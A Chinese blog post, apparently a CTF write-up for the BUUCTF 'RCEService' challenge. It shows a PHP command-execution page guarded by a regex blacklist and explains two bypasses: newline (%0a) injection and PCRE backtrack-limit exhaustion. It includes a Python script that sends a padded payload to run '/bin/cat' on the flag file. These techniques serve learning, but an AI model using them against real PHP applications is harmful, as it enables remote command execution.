PHP正则表达式之RCEService回溯


Posted in PHP onApril 11, 2022

PHP正则表达式之RCEService回溯

打开题目输入JSON类型的cmd后,尝试读取index.php的源代码,但是读取不出来,并且扫后台出来的/index以及/index/login也没有任何东西,实在不知道怎么做了,只能看一下别人的wp,发现别人以来都是审查源码,我就奇怪了,源码怎么弄来的,看了很多wp发现应该是比赛的时候直接给的源码,但是buu平台忘记加上了

<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
    $json = $_REQUEST['cmd'];
    if (!is_string($json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } else {
        echo 'Attempting to run command:<br/>';
        $cmd = json_decode($json, true)['cmd'];
        if ($cmd !== NULL) {
            system($cmd);
        } else {
            echo 'Invalid input';
        }
        echo '<br/><br/>';
    }
}
?>

看到最后的system以及正则,看来这题是要绕过正则执行cmd命令了,这么多黑名单函数应该不会让我们找漏网之鱼吧,不会吧不会吧

我们看到正则表达式没有添加修饰符,那我们可以利用多行匹配这个漏洞了

PHP正则表达式之RCEService回溯

 在这里我们可以利用%0a换行符进行绕过正则匹配,而且可以看到要有修饰符s才会让.*匹配换行符,因此我们这里可以利用我们之前的ls试试能不能成功

PHP正则表达式之RCEService回溯

发现依然可以出来index.php;源代码中编译了环境变量path(我以为只是单纯暗示我们这个目录),我们就在那个目录下看看 

PHP正则表达式之RCEService回溯

发现了flag文件,我用nl,cat,more,less等命令都读取不出来 ,查资料发现,系统命令需要有特定的环境变量的也就是路径,系统找不到该路径下的exe文件怎么执行系统命令

因此这个地方查阅资料后发现只能调用绝对路径下的命令,cat命令就在/bin/目录下面

PHP正则表达式之RCEService回溯

 第二种办法也就是正则表达式回溯过多导致false,说实话我还是第一次听到正则的回溯问题

PHP利用PCRE回溯次数限制绕过某些安全限制

简单来说就是正则表达式匹配的时候某个.*将后面的字符全部匹配到了,导致表达式后面的式子没有地方匹配,因此一个一个字符吐出来,直到后面的式子全部匹配完毕或者回溯次数过多

例子

PHP正则表达式之RCEService回溯

PHP正则表达式之RCEService回溯

 经过自己试试果然只能回溯一百万次

'/^.*

正则表达式最前面的匹配字符,^代表首个字母,'.'代表除换行符之外的所有字符,*代表前面那个表达式重复执行多次,因此他这里直接把我们的payload全部匹配完毕,导致后面的匹配不到字符了,只能一个个回溯

PHP正则表达式之RCEService回溯

再将后面的匹配一下字符,可以发现目前写的小写字母都没有过滤掉,因为十六进制\x00-\x1f换算成十进制并没有到小写字母的ascii值那个地方,因此我们可以任意利用一个小写字母×个一百万次,就可以让正则表达式直接失败

PHP正则表达式之RCEService回溯

import requests
url='http://5dd96313-13f8-4eb6-89eb-0dbb5a4ba30a.node3.buuoj.cn'
data={
    'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","feng":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text
print(r)

Tags in this post...

PHP 相关文章推荐
用PHP函数解决SQL injection
Dec 09 PHP
php性能优化分析工具XDebug 大型网站调试工具
May 22 PHP
PHP 数据结构 算法 三元组 Triplet
Jul 02 PHP
php中利用explode函数分割字符串到数组
Feb 08 PHP
ThinkPHP基本的增删查改操作实例教程
Aug 22 PHP
php使用Jpgraph绘制柱形图的方法
Jun 10 PHP
PHP易混淆知识整理笔记
Sep 24 PHP
php中注册器模式类用法实例分析
Nov 03 PHP
深入浅析PHP的session反序列化漏洞问题
Jun 15 PHP
php实现将数据做成json的格式给前端使用
Aug 21 PHP
PHP切割整数工具类似微信红包金额分配的思路详解
Sep 18 PHP
Yii 框架使用Forms操作详解
May 18 PHP
微信小程序结合ThinkPHP5授权登陆后获取手机号
PHP遍历数组的6种方式总结
Nov 17 #PHP
关于PHP数组迭代器的使用方法实例
php双向队列实例讲解
Nov 17 #PHP
如何解决php-fpm启动不了问题
Nov 17 #PHP
一次项目中Thinkphp绕过禁用函数的实战记录
php修改word的实例方法
Nov 17 #PHP
You might like
微博短链接算法php版本实现代码
2012/09/15 PHP
php实现微信企业号支付个人的方法详解
2017/07/26 PHP
使用自定义setTimeout和setInterval使之可以传递参数和对象参数
2009/04/24 Javascript
event对象的方法 兼容多浏览器
2009/06/27 Javascript
利用javascript实现一些常用软件的下载导航
2009/08/03 Javascript
跨浏览器开发经验总结(四) 怎么写入剪贴板
2010/05/13 Javascript
当jQuery遭遇CoffeeScript的时候 使用分享
2011/09/17 Javascript
JS打开层/关闭层/移动层动画效果的实例代码
2013/05/11 Javascript
jquery中get和post的简单实例
2014/02/04 Javascript
JS设置cookie、读取cookie
2016/02/24 Javascript
JS简单循环遍历json数组的方法
2016/04/22 Javascript
jQuery简单注册和禁用全局事件的方法
2016/07/25 Javascript
JS简单实现无缝滚动效果实例
2016/08/24 Javascript
微信小程序 教程之注册页面
2016/10/17 Javascript
Grunt针对静态文件的压缩,版本控制打包的实例讲解
2017/09/29 Javascript
Vue组件内部实现一个双向数据绑定的实例代码
2019/04/04 Javascript
JavaScript 实现轮播图特效的示例
2020/11/05 Javascript
关于pip的安装,更新,卸载模块以及使用方法(详解)
2017/05/19 Python
Python中序列的修改、散列与切片详解
2017/08/27 Python
Python探索之Metaclass初步了解
2017/10/28 Python
python数据类型判断type与isinstance的区别实例解析
2017/10/31 Python
python输入错误密码用户锁定实现方法
2017/11/27 Python
python控制nao机器人身体动作实例详解
2019/04/29 Python
python实现抠图给证件照换背景源码
2019/08/20 Python
SEPHORA新西兰官方网站:购买化妆品和护肤品
2016/12/02 全球购物
Servlet的实例是在生命周期什么时候创建的?配置servlet最重要的是什么?
2012/05/30 面试题
工伤赔偿协议书范本
2014/04/15 职场文书
计算机专业毕业生求职信
2014/04/30 职场文书
出纳试用期自我鉴定范文
2014/09/16 职场文书
合作协议书范本
2014/10/25 职场文书
大学生学生会工作总结2015
2015/05/26 职场文书
信息技术国培研修日志
2015/11/13 职场文书
Python 中random 库的详细使用
2021/06/03 Python
解决Vue+SpringBoot+Shiro跨域问题
2021/06/09 Vue.js
MySQL高级进阶sql语句总结大全
2022/03/16 MySQL
SQL Server中的逻辑函数介绍
2022/05/25 SQL Server